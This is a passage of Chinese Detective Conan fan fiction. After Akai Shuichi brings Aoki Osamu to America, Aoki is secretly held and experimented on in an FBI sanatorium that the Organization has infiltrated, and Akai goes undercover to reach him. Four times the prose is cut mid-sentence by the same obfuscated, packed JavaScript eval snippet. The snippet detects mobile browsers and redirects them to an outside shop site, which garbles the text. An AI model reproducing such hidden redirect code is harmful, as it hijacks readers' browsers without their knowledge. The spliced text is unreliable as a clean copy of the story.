“青木先生,”詹姆斯向青木修缓缓解释,“经过这几天的商讨,我们得出了一个方案。” “请说。” 青木修比划出一个“请”的手势。 “是这样的,”詹姆斯清清嗓子,“我们希望暂时先带你返回美国,希望你能和我们FBI有进一步的合作。” “是什么合作?” 青木修没有拐弯抹角,直接问了,“你们想要什么?是组织的情报还是我身上的实验数据?” 一向老道的詹姆斯一时间也不知道该怎样接青木修的话, 见被自己说中心思,青木修有点儿得意地笑起来。 “……我们确实有这样的打算。” 出乎詹姆斯意料,青木修直接对着他摆摆手。 “我暂时不想离开这里。” “但是目前这里的局势确实很危险!组织又加大了对你和赤井先生的搜查力度!再在这里待下去已经不安全了!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14043471|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 詹姆斯不明白,还在跟青木修摆事实讲道理,赤井秀一却是能明白他到底在担心什么。 “你不用太担心。” 赤井秀一冲着詹姆斯使了个眼神,接下来把青木修拉到一边,低声悄悄话似的。 “就算是没有我,你那天也不会死。” “你什么意思?” 青木修几乎是下意识地摸上自己的右脸颊,那道快要把自己整张右脸洞穿的伤口昨天才刚刚开始结痂。 “我的意思是说,苏格兰那一枪本来就是歪的。” 诸伏景光或许能骗过其他人,但决计不会骗过他的眼睛。 如果没有车玻璃挡的那两下,那枚子弹最严重也不过是穿过青木修的脸颊,而不会要他的性命。 “你……你确定吗?” 青木修的心脏狠狠揪起来,他恨不得直接抓着赤井秀一的领子问他。 “我确定。” 赤井秀一非常相信自己的眼睛。 “那该怎么办?” 青木修焦急起来,他知道琴酒和赤井秀一两个人的射击水平差不了太多,既然赤井秀一能看出诸伏景光打出的那一枪有问题,想来琴酒应该也能看出来。 “怎么办?” 青木修现在只能在安全屋里干着急上火,什么也做不了。 这这种感觉真的是糟糕透了。 但偏偏自己现在着实没有更好的办法来应对当下自己的困境。 “你就是担心苏格兰。” 他的心情完全写在了脸上,叫赤井秀一一眼就能看出青木修的心不在焉。 “……我担心他。” 担心诸伏景光会不会因此受到什么惩罚。 “这样,我保证带来苏格兰的消息,事成之后你就跟着我们回美国,这个交易怎样?” 青木修的眼皮跳了跳,再抬头时眼睛明显亮起来,“你怎么联系上他们?” “这个不用你担心,我们威士忌小组还有备用的联络方法。” 青木修听得满脸问号,威士忌小组的内部联系方式?他怎么不知道? 许是他的目光太过直白,看得赤井秀一无端生出一份尴尬。 他别开脸,提醒自己不要再看青木修那双灰眼睛,“咳……是在你来之前我们就有了。” “哦……” 青木修短暂低落了一瞬,威士忌小组内部还有自己的联络方式,而他还不知道。 不过他很快重新振奋起来,“只要你能带回来有关苏格兰的消息,我就跟你走!” 和青木修达成协议之后,赤井秀一转头冒险联系上了诸伏景光。 诸伏景光收到赤井秀一的消息时,惊得差点把联络器扔出去。自打青木修进入了威士忌小组之后,他们三人几乎就没有再用过这个联系方式了。 他以为赤井秀一已经带着青木修远走高飞了! 没想到这两人竟然还留在境内! 诸伏景光额角淌下一滴冷汗,忙不迭回复: 你怎么还没走? 赤井秀一没有直接回答他,而是另打开一个话题。 你最近在组织怎么样? 他可不是单纯的想要关心诸伏景光,而是还带着另一层目的。 31.第 31 章 要知道现在FBI在境内的眼线差不多都被清理了个干净,赤井秀一几乎失去了所有对组织情报的消息来源。 如今形势严峻,他也不得不另辟蹊径,外找一条路子来获取情报。 眼下最合适不过的人选自然是诸伏景光和青木修无疑。 当局者迷旁观者清,或许诸伏景光自己心里还不清楚,但是作为旁人,赤井秀一可是能把他们俩之间的关系看的透彻。 诸伏景光可以说就是一个糊涂蛋,到现在还没有看清楚自己的真心吗? 赤井秀一眼珠转动,继续给诸伏景光发消息。 [我们做个交易怎样?] 诸伏景光几乎是立刻给出回复,问他想要干什么。 [我带青木修离开,保证他的安全,你把组织的情报定期分享给我。] 诸伏景光犹豫了片刻,不得不说赤井秀一的这个提议确实很大胆,但也并非不让人有半点心动。 [我可以定期给你分享情报,]诸伏景光补上一个条件,[但你也要定期给我传达青木修的情况。] 他这么说也没办法保证赤井秀一给他的情报都是真话,说到底补上这一条也只是给他自己一个心安。 赤井秀一对此没有异议。 [一言为定。] 两个人最终达成了交易,赤井秀一第一时间把诸伏景光的消息带给了青木修。 “你放心吧,苏格兰他现在没事。” “真的吗?” 青木修还有些不相信,毕竟赤井秀一空口无凭。 “喏,你自己看吧。” 赤井秀一知道他对自己还不是百分百的信任,干脆直接把通讯器丢给青木修,让他自己看两人的对话记录。 青木修没有跟他客气,直接翻起两人的聊天记录。 自然,赤井秀一把他当作筹码和诸伏景光谈条件的对话也就瞒不住了。 青木修看到两人谈条件的几句话时也没有什么反应,从赤井秀一的角度看过去只能看见他的眼皮颤了几下,再多的表情就看不到了。 “苏格兰他真的没事……” 片刻后,青木修把通讯器还给赤井秀一,双手后撑在沙发上,长舒一口气,像是终于把悬着的心放回原位一般。 “现在放心了吗?” 赤井秀一问他。 青木修听懂了赤井秀一的言下之意,点点头,“我们什么时候出发?” 见青木修同意,赤井秀一立刻通知朱蒂,让她开始着手准备撤离的相关事宜。 哪怕现在的局势不容乐观,FBI依旧有自己的门路。 刚吃完午餐不久,赤井秀一便敲开青木修的房门。 “收拾东西,一个小时后飞机起飞。” 青木修短短惊讶了一瞬,没想到这种情况下FBI的动作还能这么快。 他站起身,把早早准备好的行李箱推出来——说是收拾行李,也不过是一个空箱子里面塞了几件简单的换洗衣物。 “那就出发去机场吧。” 赤井秀一也同样做好了准备,见青木修已经收拾妥当,大手一挥,直接带上人出发赶往羽田机场。 . 直到飞机起飞的那一刻,青木修的脑袋都还是懵的。 看着窗外越来越小的机场跑道,他不禁有些恍惚。 就这样离开了……吗? 青木修忽然感到一阵茫然,他就这样轻松的和组织说再见了吗? 这一切来的太简单,以至于让他有些不安。 “放心吧,我们会保护你的安全。” 赤井秀一注意到青木修不断变换的神色,侧头低声道。 青木修没有说话,只是垂下眼睛表示自己听见了。 他的手指不断来回揉搓着衣角,很快就把上衣下摆揉成皱巴巴的一团。 飞机降落时,青木修仍然没有回神,恍惚中甚至因为落地的巨大惯性而撞上了没来得及收起来的小桌板。 “嘶……” 青木修捂着鼻子,五官痛得皱成一团。 他现在没有了组织药物的抑制,只是这样小小的磕碰都能让他痛得冒冷汗。 跟随赤井秀一坐上前往FBI分部的车,青木修望着车窗外道路两旁不断后退的树丛,心中的不安感愈来愈大。 这种不安在赤井秀一要和自己分开时到达了顶峰。 “你们要干什么?” 青木修有些炸毛的摁住要上前把自己带走的两名工作人员。 “别紧张,青木修。” 赤井秀一解释道:“根据条例,我和你需要暂时分开一段时间,分别接受隔离审查。” 青木修盯着赤井秀一的眼睛,在确保没有从对方的眼睛里看出欺瞒之意后,一点一点松开自己的手。 “审查隔离不会太久。” 赤井秀一向两名工作人员低声交代几句,走到青木修身前,拍怕他的肩膀。 “我把你的情况上报过,所以一会儿可能会带你去做一个身体检查……不用害怕,只是普通的体检而已。” 青木修抿紧嘴巴,绷着下巴,缓缓放松紧绷的肌肉。 和赤井秀一分开之后,两名工作人员给青木修带上了一个眼罩。 突然丧失视觉让青木修条件反射想要挣脱开工作人员的钳制,但想到赤井秀一的叮嘱,他强忍住冲动,迫使自己冷静下来。 他被工作人员带上了车。 车子七拐八绕,很快让青木修失去了方向感。 无法,青木修只得打消记路线的念头。 不知过去多久,车子终于停了下来。 眼罩也依旧没有被取下,青木修只能跟随着工作人员的力道来判断下一步该怎么走。 “到了。” 青木修闻到了淡淡的消毒水味。 有人上前摘掉绑在他眼睛上的眼罩。 青木修有些不适应地眨眨眼,几秒后才看清自己所处的地方—— 一间医疗室。 和他想象中的医院体检不同,这里明显看起来不是什么正规的医院,房间里也没有检查身体的仪器。 倒是放在正中间的医疗床看起来有些眼熟。 电光火石之间,青木修冒出一个不祥的猜测。 他环视一周,突然侧身,提膝踹上压着他的工作人员! 离他比较近的几个人毫无防备,眨眼间就被青木修击倒在地。 眼看房门就在眼前,青木修冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14050217|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上去就要开门,背后肩胛处却突然传来微微刺痛。 下一秒,强烈的电流通过全身! 青木修的心脏猛然开始剧烈疼痛,电流越来越强,甚至能闻到淡淡的糊味。 是电克枪。 毫无疑问的,根本没有任何防御措施在身的青木修根本经不住如此之强的电流刺激,转瞬间便倒在地上,无声痉挛。 “青木先生,别跑啊。” 一个戴着口罩的白大褂走上前,示意刚从地上爬起来的两名工作人员把他压到医疗床上去。 “咔哒”,“咔哒”。 几声清脆的响声过后,青木修的四肢便被紧紧固定在医疗床上,半分也动弹不得。 “赤井秀一……” 这时候青木修还以为是赤井秀一骗了自己。 或者说,是FBI骗了自己。 回想起分开前赤井秀一的叮嘱,青木修怀疑他根本不知道所谓的“身体检查”会是这样子。 “现在叫谁也没有用了。” 白大褂清了场,转而又叫来一群白大褂,七手八脚把青木修身上的衣服换成条纹病号服,接着便给他输上液。 这种味道青木修也很熟悉,是丙泊酚。 他还没来得及再认真记下白大褂们的样子,眼前一黑,就失去了意识。 昏迷之前,青木修还在思考着,赤井秀一到底知不知道这边的情况,在眼下的情景,这个答应过诸伏景光一定会保障自己安全的FBI到底起到一个什么角色。 迷迷糊糊之间,他做了一个梦,梦到自己回到了组织的实验台上,被左山先生带着一群人一点点的肢解开来。 等他猛地睁开眼时,青木修忽然发现恍惚中感受到的疼痛不仅仅是梦境,而是他的身上现在真的很痛! “哗啦——” “哗啦——” 他尝试着挣扎起来,努力支撑起自己的上半身,想要去看一眼疼痛的来源。 两条小腿和左臂分别被打开一条细长的口子,尤其是小腿肚,肌肉还在不受控制的抽痛。 “你醒了?” 他的挣扎声引来一名白大褂,“我们采取了一点你的肌肉细胞和血液样本。” 青木修闻言,突然脱力似的向后倒下,“哐啷”一声重重摔在医疗床上。 他就知道……他就知道自己不可能那么简单的就能摆脱实验品的命运,不管到了哪里,永远会有人盯上自己。 青木修忽然之间就死了心,他觉得自己哪怕是逃到天涯海角也不会被“命运”这样轻松的放过。 他认命了。 白大褂不知道青木修的内心所想,还以为他是突然想开了选择配合自己。 “这样乖乖的才对。” 白大褂一边说一边给青木修的几处伤口上药止血,“乖一点好好配合我们,你也能少受点罪。” 青木修根本没有心情去听白大褂究竟说了些什么,他瘫倒在医疗床上,头顶的无影灯亮的刺眼,就算是把眼睛闭上也难以忍受这种穿透皮肉的光芒。 白大褂见青木修没有搭话也自知无趣,简单粗暴做好止血工作就甩上门离开了。 半晌过去,青木修的眼角缓缓淌下一滴晶莹的眼泪。 32.第 32 章 从那一天起,青木修就失去了和外界的一切联系。 白大褂们对他也从一开始比较温和的细胞采集,逐渐过渡到手术级别的正式实验,下手愈发狠辣。 别说是向外界求救了,青木修甚至连自己在哪里都不知道。 唯一值得庆幸的地方可能就是这些人还记得给他打麻药。 日日不断的麻醉也导致青木修的大脑日渐不清醒,一天中的绝大多数时间都是在半昏迷中度过。 “实验进行的很不错……” 又是一天的实验开始了,青木修在手术过程中迷迷糊糊地醒来,半阖着眼睛躲避刺眼的无影灯。 似乎是有人在打电话。 他努力分出一丝精力去听实验员在电话里说了些什么。 “是的……一切都在您的指导下进行……” “左山先生。” “!” 青木修在听到这个词的刹那,只觉得浑身一阵恶寒,全身的血液似乎都要因此凝固了! 左山先生! 他此刻也顾不上伪装,蓦然睁开眼睛,挣扎着就想要坐起来! “啊,你醒了。” 正在他的身体上动作的实验员短暂讶异一瞬,接着便呼唤来正在打电话的那位。 “杜林标醒了啊。” “杜林标”三个字让青木修再次心头一颤。 他确信这个代号只有组织里的人才会知道,可这里不是FBI的地方吗? 青木修的大脑飞速运转,思考着究竟是怎么一回事。 “醒了?” 那位实验员向电话那头简单说了句什么,挂断电话走到青木修眼前。 “你们……究竟是什么人?” 尽管心中已经隐隐有了猜测,青木修依然有些不死心地问道。 “我们是什么人?” 实验员笑起来,眼角的皱纹看起来格外眼熟。 “你这么聪明,应该都知道的啊,杜林标。” 这位实验员摘掉口罩,青木修瞬间便认出了这张脸。 还是在他加入威士忌小组之前的时候,他曾在左山先生的身边见到过一次这张脸。 “组织……” “不不不,”实验员打断他的话,“这里不是组织,这里是FBI的一个下属疗养中心。” 青木修的心彻底凉了下来,组织的手竟然已经伸进了FBI内部! 他不由得有些担心起赤井秀一。 “你在想赤井秀一是吗?” 实验员看出了他的心中所想,“说起来还要感谢他,亲手又把你送了回来。” 青木修看着那张得意洋洋的脸,忍无可忍啐了一口。 “啪!” 满脸口水的实验员抬手给了青木修一巴掌,他的脸颊上很快浮现出一个清晰的掌印。 “不要以为这里是FBI我们就拿你没办法,杜林标。” 实验员的神色冷了下来,眉眼压在一块儿,戾气横生,“我们有的是办法让你生不如死。” 生不如死? 青木修闻言叛逆心理更甚。 事情发展到这个地步,他基本上已经可以确定赤井秀一还不知道FBI被组织渗透的事情。 但他忽然就不想认命了。 不管后来实验员再用什么手段进行测试,青木修要么是一声不吭消极抵抗,要么就是明摆着不配合,仍由这些白大褂们拿他无可奈何。 实验迟迟没有进展,无奈之下,他们只能把那天和左山先生通话的实验员请回来。 “杜林标,听说你最近很不老实啊?” 青木修被缚在医疗床上,侧过头不搭理他。 “你是觉得这样子我们就没办法了对吗?” 实验员被青木修这副不合作的模样气笑了,他幽幽开口道:“你就算是不为你自己着想,也要为苏格兰考虑考虑吧?” 诸伏景光就是青木修的软肋,听到“苏格兰”三个字他就没办法再淡定下去了。 “苏格兰怎么了?” 实验员见自己的话奏效,洋洋得意,“他可是因为你吃了大苦头呢!” 青木修的喉结上下动了动。 “据说琴酒大人看出来那天他对你的那一枪本就是偏的,发了很大的脾气,不仅狠狠惩罚了苏格兰,还给他分派一些很危险的任务。” 青木修虚虚扶在床边的手逐渐缩紧。 “像他这种把个人感情凌驾于组织之上的废物,也没有什么继续存在的价值了。” 实验员边说边用余光去瞥青木修,观察他的反应。 眼看青木修和自己所预料的一样愈发紧张起来,实验员不禁感到非常满意。 “苏格兰……他还好吗?” “不清楚呢,”实验员恶意一笑,“听说他前段时间出了个任务差点死掉。” “咔啦——” 青木修重重挣扎了一下! “要不我们商量一下?” 见时机差不多,实验员向青木修提出自己的要求。 “你好好配合我们的实验,我就帮你给苏格兰求求情,让他多活一段时间,怎么样?” 青木修有的选吗? 他没有。 这时候他答应也是答应,不答应也是答应。 面对对方明晃晃的威胁,青木修不情不愿地点下了头。 尽管他难以置信连FBI都能被组织渗透,可眼下他被关在实验室,根本没有一星半点和外界联系的方法,不得不受制于人。 . 另一边,赤井秀一在和青木修分开之后受到了严格的审查,好几天只能局限于在安全屋内,每天可以联络的对象仅仅有朱蒂、詹姆斯和卡迈尔三人。 不过他多长了一个心眼,把自己和威士忌小组私下联络的联络器藏了起来没有上报。 等到他结束审查隔离后,又被拉着去做了好几个心理测试。 “请你回忆卧底期间,有没有因为执行组织任务而有过噩梦?” “没有,我很清楚执行组织任务的分寸在哪里。” “这几天有没有感觉到不适?压抑?想要哭泣?” “没有,就是被关在安全屋里有些无聊。” “这段时间……” “没有……” 漫长的心理测试终于结束,赤井秀一伸了个懒腰,脚步轻快的出了门。 刚刚的那些心理测试他早不知道做过多少遍了,标准答案早就烂熟于心,简单的测谎测试对他来说根本没用。 他心里还惦记着和诸伏景光之间的交易。 回到安全屋,四下检查过屋子周围的监视器都已经全部拆除,赤井秀一这才放心的找出被自己妥善藏匿起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14062518|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的联络器。 上面诸伏景光已经给他发了很多条消息。 [琴酒给我的那把枪有问题,他是故意逼我对青木修开枪,我被他看出来打偏了,这段时间的任务非常危险,可能没办法给你提供太多情报。] [威士忌小组解散了,波本被调到朗姆手下做事,如果消息无误的话,朗姆只有一只眼睛。] [据说BOSS的状态不太好。] 诸如此类的消息还有很多,大多数都带上了“据说”这个前缀。 不过好在赤井秀一并不介意,毕竟他现在可是一点情报来源都没有,就算诸伏景光的情报不甚精确也好过一点没有。 [青木修怎么样了?] [看到消息记得回话!] 在对话的末尾,赤井秀一注意到诸伏景光少见的使用了感叹号作为结尾。 看来是真的着急了。 赤井秀一回复道: [我刚刚结束隔离审查,青木修在FBI名下的一个疗养院,他现在很安全,我正准备过两天去见他。] 重新回到工作岗位的赤井秀一第一时间就是向上打申请报告,要求和青木修见面。 和他预想的有些不太一样,与青木修的见面并不顺利。 上司詹姆斯倒是很痛快的批复了赤井秀一的申请,但却卡在疗养院那边。 “秀一,疗养院那边拒绝了你的申请。” “为什么?” 赤井秀一不解,当初两人分开的时候青木修看起来还好好的,怎么会突然不让见面。 “疗养院那边说青木修这两天身体不适,状态不宜外出。” 赤井秀一将信将疑,“我直接去疗养院也不可以吗?” 詹姆斯表示非常遗憾,“听说青木先生患上了传染性流感,正在隔离治疗中。” 秋季正是流感高发的季节,这段时间不少FBI的同事都中了招在家隔离,这个理由倒也算是说得过去,赤井秀一便暂时打消探望青木修的计划,安静等待几天。 谁料,他的二次申请也被驳回了。 “这次又是什么理由?” 赤井秀一看到满脸歉意的詹姆斯敲开自己办公室的大门,就知道一定是自己的申请被驳回了。 他直接开口问道。 “疗养院那边给的理由非常模糊……” 詹姆斯同样满腹疑问,疗养院那边给出来的理由说服性实在不强,就连他也不怎么能相信。 “……好吧。” 听完詹姆斯的解释,赤井秀一心头疑虑更甚,但出于对FBI的信任,他还是选择再等一等。 他强忍住心中的疑惑,又耐心等待了两个星期,这才向詹姆斯提出申请报告。 “秀一……” 当推开赤井秀一办公室木门时,詹姆斯自己都有些不好意思。 “疗养院那边还是拒绝了你的申请。” “……理由是什么?” 赤井秀一已经没有兴趣去猜了。 詹姆斯的表情看上去有些奇怪,“他们说……青木先生这段时间身体不适,不想见人。” 这时候只要不是个傻子都能看出内有蹊跷,赤井秀一再也忍不住,“詹姆斯,你知道青木修在哪个疗养院吗?” 就算是青木修自己真的不想见人,他也要想办法和青木修见上一面。 33.第 33 章 赤井秀一本以为詹姆斯会有一些青木修所在地的消息,然而詹姆斯也只能无力地摊开双手。 “抱歉秀一,分部的人那天把青木先生带走之后就没有消息了,我帮你上传申请也只是向上给分部递了消息,更多的细节我也不太清楚了。” 赤井秀一无奈,但也不想就此放弃,他可是答应了诸伏景光要定期传递青木修的情况,虽然他大可以编造一些情报,不过他并不想这么做,一是他没有欺瞒合作对象的习惯,二是青木修对他来说也很重要,不可能就这么不明不白的让对方在自己的眼皮底下“被消失”。 “詹姆斯先生,你有其他的渠道能打听一下青木修到底在哪里吗?” 詹姆斯理解了赤井秀一的用意,“我可以去私下查一查,就是可能需要一点时间……” “没问题,”赤井秀一知道哪怕是在FBI,一些想要向上搜查的情报也不是那么轻松就能到手。 把事情拜托给詹姆斯,赤井秀一自己也没有停止打听青木修的消息。 随着探查的深入,他心中也隐隐冒出一个不好的猜测: FBI已经被组织不知在什么时候起渗透了。 不然青木修一个大活人怎么会突然失去踪迹呢?就像是他从未把人带回来过一样。 这个猜测在见到青木修之后被彻底坐实。 詹姆斯不断疏通关系,四处打听青木修的踪迹,先是用排除法一一鉴定青木修具体的所在位置,接着又花费了不少功夫买通疗养院的工作人员,终于找到一个能让赤井秀一和青木修见面的机会。 “秀一,这个疗养院据说把守很严格,我找到的人只能保证一个人进去看看。” 詹姆斯经过考虑,决定把这个机会交给赤井秀一。 他知道赤井秀一和青木修更熟悉,或许比自己出现能打听到更多的情报,而且他相信自己手下的王牌搜查官能够问出更多恰当的消息。 “青木修现在在哪里?” 距离上次他和诸伏景光通信已经过去了一个多星期,现今诸伏景光杳无音信,青木修更是如同人间蒸发一般找不到影,终于有一个人的消息,赤井秀一的心情也好了许多。 “在FBI名下一家位于芝加哥的疗养院,紧贴着密歇根湖。” 詹姆斯所说的位置和加拿大的安大略省比邻,可以说是边境也不为过。 怪不得自己找了那么多附近城市FBI名下的疗养院都没有一丁点消息。 赤井秀一心下了然,“需要我做什么吗?我们什么时候可以行动?” “明天动身,线人给你安排了一个实验助手的身份,不出意外的话后天你就能见到青木先生。” 实验助手? 赤井秀一挑眉,听上去青木修的处境不容乐观。 詹姆斯显然也意识到这个词语的言下之意,流露出几分懊恼的神色来,“当时我应该多留心一下青木先生的去向,还能省下不少功夫。” 赤井秀一没有为已经发生的事情感到后悔的习惯,他只会向前看。 “事情已经发生了,就去解决它,詹姆斯先生。” 赤井秀一打开电脑,更改IP地址后使用一个虚拟账号登陆FBI内网——自从有了关于FBI被组织渗透的猜测后,他几乎不会在内网上留下自己的踪迹。 “你说的疗养院在内网上有它的消息。” 赤井秀一把电脑转过来正对詹姆斯,“只是符合你所说的这家疗养院前身是一个生物实验中心,后来实验中心倒闭,被FBI接手改造成一家疗养院。” 有的放矢能让事情变得明了许多,有了一点线索,赤井秀一就能顺藤摸瓜找到更多的蛛丝马迹。 他的手指在电脑键盘上翻飞不停。 “如果没有找错地方的话……”他眯起眼睛,看着电脑上显示出来的资料,“我们有很多污点证人或者是抓到的嫌犯在进入这家疗养院之后就没了踪影。” 詹姆斯凑过来看,屏幕上展示着赤井秀一整理出来的名单,上面的人基本上都是在进入这家疗养院之后就没了踪影。 “这些人最后的出现地点都是这家疗养院啊……这么多证人和嫌犯失踪,我们的人就没有任何发现吗?” 詹姆斯耸耸肩膀,“这家疗养院的优先级别比我们的搜查官都要高,往往是我们把人向上一级提交之后就不再插手了。” 原来是这样,赤井秀一心想,恐怕组织渗透进FBI的人还是一个位置级别不低的官员,否则他们也不敢这么明目张胆的把这么多人搞成“被失踪”。 如今他们的目标已然清晰,事不宜迟,詹姆斯和赤井秀一两人处理好行踪记录,立刻动身前往芝加哥。 两人与詹姆斯买通的线人在约定好的地方见面。 对方是一个黑色卷短发,同样有着绿眼睛的研究员。 “明天我会把你带进疗养院,之后的半天时间里你可以用我的身份卡在疗养院里行动。” 赤井秀一盯着研究员,在脑海中刻磨对方的一举一动和说话语气。 “但是千万要记住,你的时间总共只有半天,无论你有没有见到你想找的人,中午换班的时候你一定要回宿舍区和我换回来!” “明白。” 赤井秀一点点头,动作间已经和对方有几分相似。 “恕我能冒昧问一句吗?” 他叫住转身要走的研究员。 “你说。” 对方转过身,绿眼睛一眨不眨地盯着他。 “你为什么要帮我们?” 研究员的脸上浮现出一丝异样的神色。 “因为我现在做的事情和我从事医学实验行业的初心相违背。” 研究员缓缓解释道。 “我希望能通过我的手拯救更多的生命,而不是以牺牲其他生命为代价来服务于特定人群。” 研究员说完便走,没有多加停留,也没有去看赤井秀一和詹姆斯两人的神色。 “谢谢你。” 赤井秀一在他的身后说道。 研究员脚步不停,背对着他俩摆摆手。 目送研究员离开他们的落脚地, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14080921|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 詹姆斯才松了一口气。 “这个人还比较可靠。” 赤井秀一双手抱胸倚在窗户边上,探头看着楼下研究员逐渐远去的背影,“假扮他不算什么难事。” 有时候不得不感慨一句苍天有眼,竟然能让詹姆斯遇到这么一个和赤井秀一有几分相像的人。 “秀一,他刚刚说的话你也听到了,你的时间最多只有半天——实际上半天也没有,我打听到他们早上并不是一开始工作,还有晨会什么的要开,结束之后才会各自回到各自的岗位。” 也就是说,赤井秀一必须要等到研究员参加完晨会之后才能开始行动,而晨会还不知道要耽误多长时间。 “我知道。” 赤井秀一打开随身带来的电脑,开始捣鼓监控系统。 保险起见,他要带上一份监控干扰仪以防万一,至少不能说这个研究员帮了自己的忙,自己还要在时候坑人家一把。 “秀一,明天把这个也带上吧。” 詹姆斯递给他一个精巧的仪器。 “如果疗养院里使用的监控和分部是同一套系统,那这个屏蔽仪就是专门配套的,你到时候两个干扰仪一起用,安全一些。” “明白。” 赤井秀一将干扰仪收好,准备好另一个仪器之后就开始在大脑中梳理明天见到青木修之后要问的问题。 时间紧迫,有些东西是见了青木修才能知道要不要问,而有些问题则是可以提前想好。 . 按照约定好的时间,第二天凌晨时分研究员就来到两人落脚的地方和赤井秀一接头。 “每天早上疗养中心的监控都会有五分钟的储存时间,这个时候监控是不起作用的,你先利用这个时间进入我的宿舍,等我开完晨会之后再和你交换。” 研究员卡着监控停工的时间把赤井秀一塞进宿舍,自己转头先去开组会。 赤井秀一换好防护服躲进宿舍的大衣柜里,静静等待实验员开完晨会。 根据实验员所说,他们中午交班的时间是十一点半,而现在已经是早上九点了。 还没开完吗? 赤井秀一抹了一把额头上的汗珠,心说怎么不管到了哪里都有开组会这个万恶的项目,而且所有的领导一开会都开个没完。 眼看手表的指针就要走向九点半,他终于听见了细微的开门声。 透过衣柜缝隙去看,原来是研究员终于回来了。 “基础的助手工作我在路上都教过你了,你应该都记得吧?” 赤井秀一需要接替研究员上午的工作,路上对方特意向他交代过工作内容。 “记得。” 研究员把腿有些发麻的赤井秀一从柜子里拉出来。 “那就好,切记,不管你们说了多少话,十一点半之前一定要回到这里!” 研究员又叮嘱了赤井秀一一遍,生怕他因为忘记时间而导致两人一起暴露。 这时候已经九点半了,赤井秀一只能先简单活动了下四肢,便匆匆往研究员给他指出的方向赶去。 34.第 34 章 赤井秀一赶到实验室时,一位领导模样的人向他抱怨,“怎么来这么晚,就差你一个人了。” “抱歉,”赤井秀一模仿着研究员的声音,“发现有东西忘拿了,回宿舍了一趟。” “好吧好吧。” 好在负责人没有多和他计较的意思,“迈尔,你去观察一下细胞克隆的进度怎么样了。” “好的。” 赤井秀一轻呼出一口浊气,幸好在这个实验小组里,线人的位置不是特别重要,绝大多数工作只是给其他人打打下手,观察细胞,以及给实验体注射营养液这一类。 要是换成专业性更强一点的工作,他赤井秀一还真的应付不来。 按照迈尔的叮嘱,赤井秀一来到工位前,小心翼翼地从培育箱里拿出培养皿,照葫芦画瓢开始记录细胞形态。 这些培养皿上都贴有标签,注明来自于哪一个部位的细胞。 赤井秀一注意到,手中这一批培养皿都批注有“一号实验”的字样。 不动声色地把培养皿转个圈,另一边的标签上则写着这些细胞的来源——杜林标。 赤井秀一眸色一暗。 只有组织的人会知道青木修的这个代号。 看来他的猜想没错,组织的手已经伸到FBI内部。 “迈尔,过来盯一下离心机。” 身后研究员的声音将赤井秀一唤回神,他连忙把手中的几个培养皿都放回培育箱,转身急急忙忙奔向离心机。 不得不承认,这位名叫迈尔的研究助理平时的工作相当忙碌,赤井秀一的脚步几乎都没有停下来过。 好不容易等到上午的休息时间,其他的研究人员都可以离开实验室去喝上一杯茶或者是咖啡,而“迈尔”还要被留下来去忙其他的工作。 “迈尔,还是按照老规矩,给里间的那个家伙注射营养针。” “知道了。” 机会来了! 等到其他人都离开,赤井秀一赶忙把监控干扰仪都打开,接着拿起托盘,按照负责人指出来的方向用身份卡刷开大门。 走廊两侧都是一个个小房间,赤井秀一透过门上的反装猫眼看到,大多数的房间里面都关着人。 说是“人”,实际上都是些人形的怪物,看上去惨不忍睹。 赤井秀一不由得开始担心青木修的状况来,他加快脚步,来到走廊尽头,用身份卡打开铁门。 青木修躺在医疗床上,听见开门的声音也没有别的动作,只是费力地抬起一只胳膊伸到床沿。 看上去一副任人磋磨的模样。 “青木修,是我。” 赤井秀一放下托盘,微微拉下半截口罩。 青木修听到熟悉的声音,猛然睁开眼睛,用力支撑起自己的身体。 “赤井秀一?” 青木修的眼睛睁得很圆,再加上他现在瘦了一圈,眼窝深深凹陷下去,显得他的眼睛有些大的可怕。 “你怎么会来?” 看清眼前站着的研究员的脸,青木修还有些不可置信。 “抱歉……” 赤井秀一一进门就注意到青木修那张没有一丝血色的脸。 